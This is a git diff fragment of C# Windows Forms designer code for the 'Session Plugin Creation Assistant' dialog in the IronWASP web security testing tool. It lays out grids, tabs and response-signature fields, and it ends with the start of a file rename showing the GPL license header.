dataGridViewCellStyle1.BackColor = System.Drawing.SystemColors.Control; + dataGridViewCellStyle1.Font = new System.Drawing.Font("Microsoft Sans Serif", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + dataGridViewCellStyle1.ForeColor = System.Drawing.SystemColors.WindowText; + dataGridViewCellStyle1.SelectionBackColor = System.Drawing.SystemColors.Highlight; + dataGridViewCellStyle1.SelectionForeColor = System.Drawing.SystemColors.HighlightText; + dataGridViewCellStyle1.WrapMode = System.Windows.Forms.DataGridViewTriState.True; + this.ParametersAnswerGrid.ColumnHeadersDefaultCellStyle = dataGridViewCellStyle1; + this.ParametersAnswerGrid.ColumnHeadersHeightSizeMode = System.Windows.Forms.DataGridViewColumnHeadersHeightSizeMode.AutoSize; + this.ParametersAnswerGrid.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] { + this.ParameterSectionColumn, + this.ParameterNameColumn, + this.UpdateFromColumn, + this.ParseResponseColumn, + this.RegexColumn, + this.HintColumn}); + this.ParametersAnswerGrid.GridColor = System.Drawing.Color.White; + this.ParametersAnswerGrid.Location = new System.Drawing.Point(5, 165); + this.ParametersAnswerGrid.Margin = new System.Windows.Forms.Padding(0); + this.ParametersAnswerGrid.MultiSelect = false; + this.ParametersAnswerGrid.Name = "ParametersAnswerGrid"; + this.ParametersAnswerGrid.RowHeadersBorderStyle = System.Windows.Forms.DataGridViewHeaderBorderStyle.None; + this.ParametersAnswerGrid.RowHeadersVisible = false; + this.ParametersAnswerGrid.SelectionMode = System.Windows.Forms.DataGridViewSelectionMode.FullRowSelect; + this.ParametersAnswerGrid.Size = new System.Drawing.Size(674, 84); + this.ParametersAnswerGrid.TabIndex = 0; + this.ParametersAnswerGrid.CellClick += new System.Windows.Forms.DataGridViewCellEventHandler(this.ParametersAnswerGrid_CellClick); + this.ParametersAnswerGrid.SelectionChanged += new System.EventHandler(this.ParametersAnswerGrid_SelectionChanged); + // + // ParameterSectionColumn + // + this.ParameterSectionColumn.HeaderText = "Parameter Section"; + this.ParameterSectionColumn.Name = "ParameterSectionColumn"; + this.ParameterSectionColumn.ReadOnly = true; + this.ParameterSectionColumn.Width = 120; + // + // ParameterNameColumn + // + this.ParameterNameColumn.HeaderText = "Parameter Name"; + this.ParameterNameColumn.Name = "ParameterNameColumn"; + this.ParameterNameColumn.ReadOnly = true; + this.ParameterNameColumn.Width = 120; + // + // UpdateFromColumn + // + this.UpdateFromColumn.HeaderText = "Update From"; + this.UpdateFromColumn.Name = "UpdateFromColumn"; + this.UpdateFromColumn.ReadOnly = true; + // + // ParseResponseColumn + // + this.ParseResponseColumn.HeaderText = "Response Read Mode"; + this.ParseResponseColumn.Name = "ParseResponseColumn"; + this.ParseResponseColumn.ReadOnly = true; + this.ParseResponseColumn.Width = 140; + // + // RegexColumn + // + this.RegexColumn.HeaderText = "Regex"; + this.RegexColumn.Name = "RegexColumn"; + this.RegexColumn.ReadOnly = true; + // + // HintColumn + // + this.HintColumn.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; + this.HintColumn.HeaderText = "Hint"; + this.HintColumn.Name = "HintColumn"; + this.HintColumn.ReadOnly = true; + // + // ResponseSignatureTab + // + this.ResponseSignatureTab.Controls.Add(this.SignatureSubmitBtn); + this.ResponseSignatureTab.Controls.Add(this.LocationSignatureKeywordTB); + this.ResponseSignatureTab.Controls.Add(this.LocationSignatureTypeSelectCombo); + this.ResponseSignatureTab.Controls.Add(this.label6); + this.ResponseSignatureTab.Controls.Add(this.FullResponseSignatureSecondPanel); + this.ResponseSignatureTab.Controls.Add(this.UseLocationSignatureCB); + this.ResponseSignatureTab.Controls.Add(this.FullResponseSignatureFirstPanel); + this.ResponseSignatureTab.Controls.Add(this.SignatureAnswerMsgTB); + this.ResponseSignatureTab.Controls.Add(this.SignatureResponseCodeTB); + this.ResponseSignatureTab.Controls.Add(this.label5); + this.ResponseSignatureTab.Location = new System.Drawing.Point(4, 25); + this.ResponseSignatureTab.Name = "ResponseSignatureTab"; + this.ResponseSignatureTab.Padding = new System.Windows.Forms.Padding(3); + this.ResponseSignatureTab.Size = new System.Drawing.Size(776, 250); + this.ResponseSignatureTab.TabIndex = 1; + this.ResponseSignatureTab.Text = "Define Response Signature"; + this.ResponseSignatureTab.UseVisualStyleBackColor = true; + // + // SignatureSubmitBtn + // + this.SignatureSubmitBtn.Location = new System.Drawing.Point(653, 37); + this.SignatureSubmitBtn.Name = "SignatureSubmitBtn"; + this.SignatureSubmitBtn.Size = new System.Drawing.Size(115, 23); + this.SignatureSubmitBtn.TabIndex = 11; + this.SignatureSubmitBtn.Text = "Submit"; + this.SignatureSubmitBtn.UseVisualStyleBackColor = true; + this.SignatureSubmitBtn.Click += new System.EventHandler(this.SignatureSubmitBtn_Click); + // + // LocationSignatureKeywordTB + // + this.LocationSignatureKeywordTB.BackColor = System.Drawing.Color.White; + this.LocationSignatureKeywordTB.Location = new System.Drawing.Point(495, 91); + this.LocationSignatureKeywordTB.Name = "LocationSignatureKeywordTB"; + this.LocationSignatureKeywordTB.Size = new System.Drawing.Size(263, 20); + this.LocationSignatureKeywordTB.TabIndex = 10; + this.LocationSignatureKeywordTB.TextChanged += new System.EventHandler(this.LocationSignatureKeywordTB_TextChanged); + // + // LocationSignatureTypeSelectCombo + // + this.LocationSignatureTypeSelectCombo.FormattingEnabled = true; + this.LocationSignatureTypeSelectCombo.Items.AddRange(new object[] { + "starts with", + "ends with", + "contains", + "does not contain", + "matches regex"}); + this.LocationSignatureTypeSelectCombo.Location = new System.Drawing.Point(359, 91); + this.LocationSignatureTypeSelectCombo.Name = "LocationSignatureTypeSelectCombo"; + this.LocationSignatureTypeSelectCombo.Size = new System.Drawing.Size(121, 21); + this.LocationSignatureTypeSelectCombo.TabIndex = 9; + this.LocationSignatureTypeSelectCombo.KeyPress += new System.Windows.Forms.KeyPressEventHandler(this.LocationSignatureTypeSelectCombo_KeyPress); + // + // label6 + // + this.label6.AutoSize = true; + this.label6.Location = new System.Drawing.Point(267, 96); + this.label6.Name = "label6"; + this.label6.Size = new System.Drawing.Size(86, 13); + this.label6.TabIndex = 8; + this.label6.Text = "Location Header"; + // + // FullResponseSignatureSecondPanel + // + this.FullResponseSignatureSecondPanel.Controls.Add(this.BodySignatureKeywordTB); + this.FullResponseSignatureSecondPanel.Controls.Add(this.BodySignatureTypeSelectCombo); + this.FullResponseSignatureSecondPanel.Controls.Add(this.label8); + this.FullResponseSignatureSecondPanel.Controls.Add(this.TitleSignatureKeywordTB); + this.FullResponseSignatureSecondPanel.Controls.Add(this.TitleSignatureTypeSelectCombo); + this.FullResponseSignatureSecondPanel.Controls.Add(this.label7); + this.FullResponseSignatureSecondPanel.Controls.Add(this.UseTitleSignatureCB); + this.FullResponseSignatureSecondPanel.Controls.Add(this.UseBodySignatureCB); + this.FullResponseSignatureSecondPanel.Location = new System.Drawing.Point(8, 113); + this.FullResponseSignatureSecondPanel.Name = "FullResponseSignatureSecondPanel"; + this.FullResponseSignatureSecondPanel.Size = new System.Drawing.Size(760, 79); + this.FullResponseSignatureSecondPanel.TabIndex = 7; + // + // BodySignatureKeywordTB + // + this.BodySignatureKeywordTB.BackColor = System.Drawing.Color.White; + this.BodySignatureKeywordTB.Location = new System.Drawing.Point(437, 43); + this.BodySignatureKeywordTB.Name = "BodySignatureKeywordTB"; + this.BodySignatureKeywordTB.Size = new System.Drawing.Size(313, 20); + this.BodySignatureKeywordTB.TabIndex = 16; + this.BodySignatureKeywordTB.TextChanged += new System.EventHandler(this.BodySignatureKeywordTB_TextChanged); + // + // BodySignatureTypeSelectCombo + // + this.BodySignatureTypeSelectCombo.FormattingEnabled = true; + this.BodySignatureTypeSelectCombo.Items.AddRange(new object[] { + "starts with", + "ends with", + "contains", + "does not contain", + "matches regex"}); + this.BodySignatureTypeSelectCombo.Location = new System.Drawing.Point(301, 43); + this.BodySignatureTypeSelectCombo.Name = "BodySignatureTypeSelectCombo"; + this.BodySignatureTypeSelectCombo.Size = new System.Drawing.Size(121, 21); + this.BodySignatureTypeSelectCombo.TabIndex = 15; + this.BodySignatureTypeSelectCombo.KeyPress += new System.Windows.Forms.KeyPressEventHandler(this.BodySignatureTypeSelectCombo_KeyPress); + // + // label8 + // + this.label8.AutoSize = true; + this.label8.Location = new System.Drawing.Point(209, 48); + this.label8.Name = "label8"; + this.label8.Size = new System.Drawing.Size(82, 13); + this.label8.TabIndex = 14; + this.label8.Text = "Response Body"; + // + // TitleSignatureKeywordTB + // + this.TitleSignatureKeywordTB.BackColor = System.Drawing.Color.White; + this.TitleSignatureKeywordTB.Location = new System.Drawing.Point(438, 10); + this.TitleSignatureKeywordTB.Name = "TitleSignatureKeywordTB"; + this.TitleSignatureKeywordTB.Size = new System.Drawing.Size(313, 20); + this.TitleSignatureKeywordTB.TabIndex = 13; + this.TitleSignatureKeywordTB.TextChanged += new System.EventHandler(this.TitleSignatureKeywordTB_TextChanged); + // + // TitleSignatureTypeSelectCombo + // + this.TitleSignatureTypeSelectCombo.FormattingEnabled = true; + this.TitleSignatureTypeSelectCombo.Items.AddRange(new object[] { + "starts with", + "ends with", + "contains", + "does not contain", + "matches regex"}); + this.TitleSignatureTypeSelectCombo.Location = new System.Drawing.Point(298, 10); + this.TitleSignatureTypeSelectCombo.Name = "TitleSignatureTypeSelectCombo"; + this.TitleSignatureTypeSelectCombo.Size = new System.Drawing.Size(121, 21); + this.TitleSignatureTypeSelectCombo.TabIndex = 12; + this.TitleSignatureTypeSelectCombo.KeyPress += new System.Windows.Forms.KeyPressEventHandler(this.TitleSignatureTypeSelectCombo_KeyPress); + // + // label7 + // + this.label7.AutoSize = true; + this.label7.Location = new System.Drawing.Point(206, 15); + this.label7.Name = "label7"; + this.label7.Size = new System.Drawing.Size(78, 13); + this.label7.TabIndex = 11; + this.label7.Text = "Response Title"; + // + // UseTitleSignatureCB + // + this.UseTitleSignatureCB.AutoSize = true; + this.UseTitleSignatureCB.Location = new System.Drawing.Point(13, 14); + this.UseTitleSignatureCB.Name = "UseTitleSignatureCB"; + this.UseTitleSignatureCB.Size = new System.Drawing.Size(170, 17); + this.UseTitleSignatureCB.TabIndex = 5; + this.UseTitleSignatureCB.Text = "Use Response Title Signature:"; + this.UseTitleSignatureCB.UseVisualStyleBackColor = true; + this.UseTitleSignatureCB.CheckedChanged += new System.EventHandler(this.UseTitleSignatureCB_CheckedChanged); + // + // UseBodySignatureCB + // + this.UseBodySignatureCB.AutoSize = true; + this.UseBodySignatureCB.Location = new System.Drawing.Point(13, 47); + this.UseBodySignatureCB.Name = "UseBodySignatureCB"; + this.UseBodySignatureCB.Size = new System.Drawing.Size(174, 17); + this.UseBodySignatureCB.TabIndex = 6; + this.UseBodySignatureCB.Text = "Use Response Body Signature:"; + this.UseBodySignatureCB.UseVisualStyleBackColor = true; + this.UseBodySignatureCB.CheckedChanged += new System.EventHandler(this.UseBodySignatureCB_CheckedChanged); + // + // UseLocationSignatureCB + // + this.UseLocationSignatureCB.AutoSize = true; + this.UseLocationSignatureCB.Location = new System.Drawing.Point(22, 95); + this.UseLocationSignatureCB.Name = "UseLocationSignatureCB"; + this.UseLocationSignatureCB.Size = new System.Drawing.Size(221, 17); + this.UseLocationSignatureCB.TabIndex = 4; + this.UseLocationSignatureCB.Text = "Use Redirect Location Header Signature:"; + this.UseLocationSignatureCB.UseVisualStyleBackColor = true; + this.UseLocationSignatureCB.CheckedChanged += new System.EventHandler(this.UseLocationSignatureCB_CheckedChanged); + // + // FullResponseSignatureFirstPanel + // + this.FullResponseSignatureFirstPanel.Controls.Add(this.LoggedOutResponseSignatureRB); + this.FullResponseSignatureFirstPanel.Controls.Add(this.LoggedInResponseSignatureRB); + this.FullResponseSignatureFirstPanel.Location = new System.Drawing.Point(11, 32); + this.FullResponseSignatureFirstPanel.Name = "FullResponseSignatureFirstPanel"; + this.FullResponseSignatureFirstPanel.Size = new System.Drawing.Size(407, 26); + this.FullResponseSignatureFirstPanel.TabIndex = 3; + // + // LoggedOutResponseSignatureRB + // + this.LoggedOutResponseSignatureRB.AutoSize = true; + this.LoggedOutResponseSignatureRB.Location = new System.Drawing.Point(202, 6); + this.LoggedOutResponseSignatureRB.Name = "LoggedOutResponseSignatureRB"; + this.LoggedOutResponseSignatureRB.Size = new System.Drawing.Size(195, 17); + this.LoggedOutResponseSignatureRB.TabIndex = 5; + this.LoggedOutResponseSignatureRB.TabStop = true; + this.LoggedOutResponseSignatureRB.Text = "Signature for Logged Out Response"; + this.LoggedOutResponseSignatureRB.UseVisualStyleBackColor = true; + // + // LoggedInResponseSignatureRB + // + this.LoggedInResponseSignatureRB.AutoSize = true; + this.LoggedInResponseSignatureRB.Location = new System.Drawing.Point(9, 5); + this.LoggedInResponseSignatureRB.Name = "LoggedInResponseSignatureRB"; + this.LoggedInResponseSignatureRB.Size = new System.Drawing.Size(187, 17); + this.LoggedInResponseSignatureRB.TabIndex = 4; + this.LoggedInResponseSignatureRB.TabStop = true; + this.LoggedInResponseSignatureRB.Text = "Signature for Logged In Response"; + this.LoggedInResponseSignatureRB.UseVisualStyleBackColor = true; + // + // SignatureAnswerMsgTB + // + this.SignatureAnswerMsgTB.BackColor = System.Drawing.SystemColors.Control; + this.SignatureAnswerMsgTB.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.SignatureAnswerMsgTB.ForeColor = System.Drawing.Color.Red; + this.SignatureAnswerMsgTB.Location = new System.Drawing.Point(3, 3); + this.SignatureAnswerMsgTB.Name = "SignatureAnswerMsgTB"; + this.SignatureAnswerMsgTB.ReadOnly = true; + this.SignatureAnswerMsgTB.Size = new System.Drawing.Size(770, 13); + this.SignatureAnswerMsgTB.TabIndex = 2; + // + // SignatureResponseCodeTB + // + this.SignatureResponseCodeTB.BackColor = System.Drawing.Color.White; + this.SignatureResponseCodeTB.Location = new System.Drawing.Point(145, 64); + this.SignatureResponseCodeTB.Name = "SignatureResponseCodeTB"; + this.SignatureResponseCodeTB.Size = new System.Drawing.Size(78, 20); + this.SignatureResponseCodeTB.TabIndex = 1; + this.SignatureResponseCodeTB.TextChanged += new System.EventHandler(this.SignatureResponseCodeTB_TextChanged); + // + // label5 + // + this.label5.AutoSize = true; + this.label5.Location = new System.Drawing.Point(14, 67); + this.label5.Name = "label5"; + this.label5.Size = new System.Drawing.Size(119, 13); + this.label5.TabIndex = 0; + this.label5.Text = "Response Status Code:"; + // + // SelectOptionTab + // + this.SelectOptionTab.Controls.Add(this.SelectOptionAnswerMsgTB); + this.SelectOptionTab.Controls.Add(this.SpecialOptionBtn); + this.SelectOptionTab.Controls.Add(this.SelectedOptionSubmitBtn); + this.SelectOptionTab.Controls.Add(this.OptionsGrid); + this.SelectOptionTab.Location = new System.Drawing.Point(4, 25); + this.SelectOptionTab.Name = "SelectOptionTab"; + this.SelectOptionTab.Size = new System.Drawing.Size(776, 250); + this.SelectOptionTab.TabIndex = 4; + this.SelectOptionTab.Text = "Select an Option"; + this.SelectOptionTab.UseVisualStyleBackColor = true; + // + // SelectOptionAnswerMsgTB + // + this.SelectOptionAnswerMsgTB.BackColor = System.Drawing.SystemColors.Control; + this.SelectOptionAnswerMsgTB.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.SelectOptionAnswerMsgTB.ForeColor = System.Drawing.Color.Red; + this.SelectOptionAnswerMsgTB.Location = new System.Drawing.Point(3, 3); + this.SelectOptionAnswerMsgTB.Name = "SelectOptionAnswerMsgTB"; + this.SelectOptionAnswerMsgTB.ReadOnly = true; + this.SelectOptionAnswerMsgTB.Size = new System.Drawing.Size(770, 13); + this.SelectOptionAnswerMsgTB.TabIndex = 3; + // + // SpecialOptionBtn + // + this.SpecialOptionBtn.Location = new System.Drawing.Point(438, 30); + this.SpecialOptionBtn.Name = "SpecialOptionBtn"; + this.SpecialOptionBtn.Size = new System.Drawing.Size(330, 71); + this.SpecialOptionBtn.TabIndex = 2; + this.SpecialOptionBtn.Text = "Special Option"; + this.SpecialOptionBtn.UseVisualStyleBackColor = true; + this.SpecialOptionBtn.Click += new System.EventHandler(this.SpecialOptionBtn_Click); + // + // SelectedOptionSubmitBtn + // + this.SelectedOptionSubmitBtn.Location = new System.Drawing.Point(438, 215); + this.SelectedOptionSubmitBtn.Name = "SelectedOptionSubmitBtn"; + this.SelectedOptionSubmitBtn.Size = new System.Drawing.Size(327, 27); + this.SelectedOptionSubmitBtn.TabIndex = 1; + this.SelectedOptionSubmitBtn.Text = "Submit Selected Option"; + this.SelectedOptionSubmitBtn.UseVisualStyleBackColor = true; + this.SelectedOptionSubmitBtn.Click += new System.EventHandler(this.SelectedOptionSubmitBtn_Click); + // + // OptionsGrid + // + this.OptionsGrid.AllowUserToAddRows = false; + this.OptionsGrid.AllowUserToDeleteRows = false; + this.OptionsGrid.AllowUserToResizeRows = false; + this.OptionsGrid.BackgroundColor = System.Drawing.Color.White; + dataGridViewCellStyle2.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleCenter; + dataGridViewCellStyle2.BackColor = System.Drawing.SystemColors.Control; + dataGridViewCellStyle2.Font = new System.Drawing.Font("Microsoft Sans Serif", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + dataGridViewCellStyle2.ForeColor = System.Drawing.SystemColors.WindowText; + dataGridViewCellStyle2.SelectionBackColor = System.Drawing.SystemColors.Highlight; + dataGridViewCellStyle2.SelectionForeColor = System.Drawing.SystemColors.HighlightText; + dataGridViewCellStyle2.WrapMode = System.Windows.Forms.DataGridViewTriState.True; + this.OptionsGrid.ColumnHeadersDefaultCellStyle = dataGridViewCellStyle2; + this.OptionsGrid.ColumnHeadersHeightSizeMode = System.Windows.Forms.DataGridViewColumnHeadersHeightSizeMode.AutoSize; + this.OptionsGrid.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] { + this.SelectClmn, + this.OptionNameClmn}); + this.OptionsGrid.GridColor = System.Drawing.Color.White; + this.OptionsGrid.Location = new System.Drawing.Point(22, 30); + this.OptionsGrid.MultiSelect = false; + this.OptionsGrid.Name = "OptionsGrid"; + this.OptionsGrid.ReadOnly = true; + this.OptionsGrid.RowHeadersVisible = false; + this.OptionsGrid.SelectionMode = System.Windows.Forms.DataGridViewSelectionMode.FullRowSelect; + this.OptionsGrid.Size = new System.Drawing.Size(410, 212); + this.OptionsGrid.TabIndex = 0; + this.OptionsGrid.CellClick += new System.Windows.Forms.DataGridViewCellEventHandler(this.OptionsGrid_CellClick); + // + // SelectClmn + // + this.SelectClmn.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; + this.SelectClmn.HeaderText = "SELECT"; + this.SelectClmn.Name = "SelectClmn"; + this.SelectClmn.ReadOnly = true; + this.SelectClmn.Width = 60; + // + // OptionNameClmn + // + this.OptionNameClmn.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; + this.OptionNameClmn.HeaderText = "OPTION"; + this.OptionNameClmn.Name = "OptionNameClmn"; + this.OptionNameClmn.ReadOnly = true; + this.OptionNameClmn.Resizable = System.Windows.Forms.DataGridViewTriState.True; + this.OptionNameClmn.SortMode = System.Windows.Forms.DataGridViewColumnSortMode.NotSortable; + // + // ShowPseudoCodeTab + // + this.ShowPseudoCodeTab.Controls.Add(this.ShowPseudoCodeGoToMainMenuBtn); + this.ShowPseudoCodeTab.Controls.Add(this.label12); + this.ShowPseudoCodeTab.Controls.Add(this.ShowPseudoCodeTB); + this.ShowPseudoCodeTab.Location = new System.Drawing.Point(4, 25); + this.ShowPseudoCodeTab.Name = "ShowPseudoCodeTab"; + this.ShowPseudoCodeTab.Size = new System.Drawing.Size(776, 250); + this.ShowPseudoCodeTab.TabIndex = 5; + this.ShowPseudoCodeTab.Text = "Show Pseudo Code"; + this.ShowPseudoCodeTab.UseVisualStyleBackColor = true; + // + // ShowPseudoCodeGoToMainMenuBtn + // + this.ShowPseudoCodeGoToMainMenuBtn.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Right))); + this.ShowPseudoCodeGoToMainMenuBtn.Location = new System.Drawing.Point(619, 47); + this.ShowPseudoCodeGoToMainMenuBtn.Name = "ShowPseudoCodeGoToMainMenuBtn"; + this.ShowPseudoCodeGoToMainMenuBtn.Size = new System.Drawing.Size(151, 59); + this.ShowPseudoCodeGoToMainMenuBtn.TabIndex = 7; + this.ShowPseudoCodeGoToMainMenuBtn.Text = "Go back to Main Menu"; + this.ShowPseudoCodeGoToMainMenuBtn.UseVisualStyleBackColor = true; + this.ShowPseudoCodeGoToMainMenuBtn.Click += new System.EventHandler(this.ShowPseudoCodeGoToMainMenuBtn_Click); + // + // label12 + // + this.label12.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left))); + this.label12.AutoSize = true; + this.label12.Location = new System.Drawing.Point(8, 31); + this.label12.Name = "label12"; + this.label12.Size = new System.Drawing.Size(74, 13); + this.label12.TabIndex = 6; + this.label12.Text = "Pseudo Code:"; + // + // ShowPseudoCodeTB + // + this.ShowPseudoCodeTB.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.ShowPseudoCodeTB.Location = new System.Drawing.Point(11, 47); + this.ShowPseudoCodeTB.Multiline = true; + this.ShowPseudoCodeTB.Name = "ShowPseudoCodeTB"; + this.ShowPseudoCodeTB.ScrollBars = System.Windows.Forms.ScrollBars.Both; + this.ShowPseudoCodeTB.Size = new System.Drawing.Size(602, 195); + this.ShowPseudoCodeTB.TabIndex = 5; + // + // SessionPluginCreationAssistant + // + this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; + this.BackColor = System.Drawing.SystemColors.Control; + this.ClientSize = new System.Drawing.Size(784, 562); + this.Controls.Add(this.BaseSplit); + this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon"))); + this.Name = "SessionPluginCreationAssistant"; + this.Text = "Session Plugin Creation Assistant"; + this.Load += new System.EventHandler(this.ScanCustomizationAssistant_Load); + this.BaseSplit.Panel1.ResumeLayout(false); + this.BaseSplit.Panel2.ResumeLayout(false); + this.BaseSplit.ResumeLayout(false); + this.AnswerTabs.ResumeLayout(false); + this.TextAnswerTab.ResumeLayout(false); + this.TextAnswerTab.PerformLayout(); + this.RequestSourceAnswerTab.ResumeLayout(false); + this.RequestSourceAnswerTab.PerformLayout(); + this.ParameterAnswerTab.ResumeLayout(false); + this.ParameterAnswerTab.PerformLayout(); + this.UserHintPanel.ResumeLayout(false); + this.UserHintPanel.PerformLayout(); + this.HowToParseResponsePanel.ResumeLayout(false); + this.HowToParseResponsePanel.PerformLayout(); + this.HowToUpdateParameterPanel.ResumeLayout(false); + this.HowToUpdateParameterPanel.PerformLayout(); + ((System.ComponentModel.ISupportInitialize)(this.ParametersAnswerGrid)).EndInit(); + this.ResponseSignatureTab.ResumeLayout(false); + this.ResponseSignatureTab.PerformLayout(); + this.FullResponseSignatureSecondPanel.ResumeLayout(false); + this.FullResponseSignatureSecondPanel.PerformLayout(); + this.FullResponseSignatureFirstPanel.ResumeLayout(false); + this.FullResponseSignatureFirstPanel.PerformLayout(); + this.SelectOptionTab.ResumeLayout(false); + this.SelectOptionTab.PerformLayout(); + ((System.ComponentModel.ISupportInitialize)(this.OptionsGrid)).EndInit(); + this.ShowPseudoCodeTab.ResumeLayout(false); + this.ShowPseudoCodeTab.PerformLayout(); + this.ResumeLayout(false); + + } + + #endregion + + private System.Windows.Forms.TextBox AnswerTB; + private System.Windows.Forms.Label label1; + private System.Windows.Forms.TextBox BigAnswerTB; + private System.Windows.Forms.Label label2; + private System.Windows.Forms.Button SubmitAnswerBtn; + private System.Windows.Forms.RichTextBox QuestionRTB; + private System.Windows.Forms.TextBox StatusTB; + private System.Windows.Forms.SplitContainer BaseSplit; + private System.Windows.Forms.TabControl AnswerTabs; + private System.Windows.Forms.TabPage TextAnswerTab; + private System.Windows.Forms.TabPage ResponseSignatureTab; + private System.Windows.Forms.TabPage RequestSourceAnswerTab; + private System.Windows.Forms.TabPage ParameterAnswerTab; + private System.Windows.Forms.Label label4; + private System.Windows.Forms.TextBox RequestSourceIdTB; + private System.Windows.Forms.Button RequestSourceAnswerSubmitBtn; + private System.Windows.Forms.Label label3; + private System.Windows.Forms.ComboBox RequestSourceCombo; + private System.Windows.Forms.DataGridView ParametersAnswerGrid; + private System.Windows.Forms.Button SubmitParameterAnswerBtn; + private System.Windows.Forms.TextBox ParameterAskUserHintTB; + private System.Windows.Forms.Label ParameterFourLbl; + private System.Windows.Forms.TextBox ParameterParseRegexTB; + private System.Windows.Forms.RadioButton ParseParameterFromRegexRB; + private System.Windows.Forms.RadioButton ParseParameterFromHtmlRB; + private System.Windows.Forms.Label ParameterThreeLbl; + private System.Windows.Forms.RadioButton ParameterSourceFromUserRB; + private System.Windows.Forms.RadioButton ParameterSourceFromResponseRB; + private System.Windows.Forms.Label ParameterTwoLbl; + private System.Windows.Forms.Label ParameterOneLbl; + private System.Windows.Forms.TextBox ParameterNameTB; + private System.Windows.Forms.Label ParameterNameTBLbl; + private System.Windows.Forms.ComboBox ParameterTypeCombo; + private System.Windows.Forms.Label ParameterTypeComboLbl; + private System.Windows.Forms.TextBox ParametersAnswerMsgTB; + private System.Windows.Forms.LinkLabel ParametersDescLL; + private System.Windows.Forms.Panel HowToUpdateParameterPanel; + private System.Windows.Forms.TextBox SignatureAnswerMsgTB; + private System.Windows.Forms.TextBox SignatureResponseCodeTB; + private System.Windows.Forms.Label label5; + private System.Windows.Forms.Panel FullResponseSignatureFirstPanel; + private System.Windows.Forms.RadioButton LoggedInResponseSignatureRB; + private System.Windows.Forms.RadioButton LoggedOutResponseSignatureRB; + private System.Windows.Forms.CheckBox UseBodySignatureCB; + private System.Windows.Forms.CheckBox UseTitleSignatureCB; + private System.Windows.Forms.CheckBox UseLocationSignatureCB; + private System.Windows.Forms.Panel FullResponseSignatureSecondPanel; + private System.Windows.Forms.ComboBox LocationSignatureTypeSelectCombo; + private System.Windows.Forms.Label label6; + private System.Windows.Forms.TextBox LocationSignatureKeywordTB; + private System.Windows.Forms.TextBox BodySignatureKeywordTB; + private System.Windows.Forms.ComboBox BodySignatureTypeSelectCombo; + private System.Windows.Forms.Label label8; + private System.Windows.Forms.TextBox TitleSignatureKeywordTB; + private System.Windows.Forms.ComboBox TitleSignatureTypeSelectCombo; + private System.Windows.Forms.Label label7; + private System.Windows.Forms.Button SignatureSubmitBtn; + private System.Windows.Forms.TextBox RequestSourceAnswerMsgTB; + private System.Windows.Forms.Panel UserHintPanel; + private System.Windows.Forms.Panel HowToParseResponsePanel; + private System.Windows.Forms.LinkLabel AddParameterAnswerEntryLL; + private System.Windows.Forms.LinkLabel EditParameterAnswerEntryLL; + private System.Windows.Forms.LinkLabel DeleteParameterAnswerEntryLL; + private System.Windows.Forms.DataGridViewTextBoxColumn ParameterSectionColumn; + private System.Windows.Forms.DataGridViewTextBoxColumn ParameterNameColumn; + private System.Windows.Forms.DataGridViewTextBoxColumn UpdateFromColumn; + private System.Windows.Forms.DataGridViewTextBoxColumn ParseResponseColumn; + private System.Windows.Forms.DataGridViewTextBoxColumn RegexColumn; + private System.Windows.Forms.DataGridViewTextBoxColumn HintColumn; + private System.Windows.Forms.TabPage SelectOptionTab; + private System.Windows.Forms.Button SpecialOptionBtn; + private System.Windows.Forms.Button SelectedOptionSubmitBtn; + private System.Windows.Forms.DataGridView OptionsGrid; + private System.Windows.Forms.TextBox SelectOptionAnswerMsgTB; + private System.Windows.Forms.DataGridViewCheckBoxColumn SelectClmn; + private System.Windows.Forms.DataGridViewTextBoxColumn OptionNameClmn; + private System.Windows.Forms.Label label10; + private System.Windows.Forms.Label label9; + private System.Windows.Forms.TextBox RequestSourceNameTB; + private System.Windows.Forms.Label label11; + private System.Windows.Forms.TabPage ShowPseudoCodeTab; + private System.Windows.Forms.Button ShowPseudoCodeGoToMainMenuBtn; + private System.Windows.Forms.Label label12; + private System.Windows.Forms.TextBox ShowPseudoCodeTB; + } } \ No newline at end of file diff --git a/IronWASP/SessionPluginCreationAssistant.cs b/Iron/SessionPluginCreationAssistant.cs similarity index 98% rename from IronWASP/SessionPluginCreationAssistant.cs rename to Iron/SessionPluginCreationAssistant.cs index 3d30f05..1d9bfd4 100644 --- a/IronWASP/SessionPluginCreationAssistant.cs +++ b/Iron/SessionPluginCreationAssistant.cs @@ -1,3858 +1,3858 @@ -// -// Copyright 2011-2013 Lavakumar Kuppan -// -// This file is part of IronWASP -// -// IronWASP is free software: you can redistribute it and/or modify -// it under the terms of the GNU General Public License as published by -// the Free Software Foundation, version 3 of the License. -// -// IronWASP is distributed in the hope that it will be useful, -// but WITHOUT ANY WARRANTY; without even the implied warranty of -// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -// GNU General Public License for more details. -// -// You should have received a copy of the GNU General Public License -// along with IronWASP. If not, see http://www.gnu.org/licenses/. -// - -using System; -using System.IO; -using System.Collections.Generic; -using System.ComponentModel; -using System.Data; -using System.Drawing; -using System.Text; -using System.Windows.Forms; -using System.Text.RegularExpressions; - -namespace IronWASP -{ - public partial class SessionPluginCreationAssistant : Form - { - - string CurrentQuestionType = ""; - - const string QuestionTypeTextAnswer = "QuestionTypeTextAnswer"; - const string QuestionTypeRequestSourceAnswer = "QuestionTypeRequestSourceAnswer"; - const string QuestionTypeParametersAnswer = 